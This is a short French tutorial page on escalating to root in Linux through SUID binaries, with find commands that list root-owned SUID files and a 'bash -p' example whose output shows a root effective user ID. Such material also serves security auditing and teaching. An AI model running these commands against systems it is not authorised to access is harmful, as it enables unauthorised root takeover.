Comment utiliser SUID pour élever les privilèges sous Linux

WBOY
Libérer: 2023-05-23 23:52:05
avant
1760 Les gens l'ont consulté

SUID est un mécanisme d'autorisation sous Linux Lorsqu'un fichier avec cette autorisation est exécuté, l'appelant obtiendra temporairement les autorisations du propriétaire du fichier. Si vous disposez des autorisations SUID, vous pouvez utiliser les binaires et les outils du système pour effectuer une élévation des privilèges root.

La commande suivante peut découvrir tous les fichiers exécutables SUID exécutés sur le système. Plus précisément, la commande tentera de trouver les fichiers avec un SUID disposant des autorisations root.

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls
Copier après la connexion

Comment utiliser SUID pour élever les privilèges sous Linux


Comment utiliser SUID pour élever les privilèges sous Linux

Tous les binaires ci-dessus seront exécutés avec les autorisations de l'utilisateur root car leurs autorisations contiennent des "s" et correspondent aux autorisations root.

Bash

La commande suivante ouvrira un shell bash avec les privilèges root.

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Copier après la connexion

Comment utiliser SUID pour élever les privilèges sous Linux

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal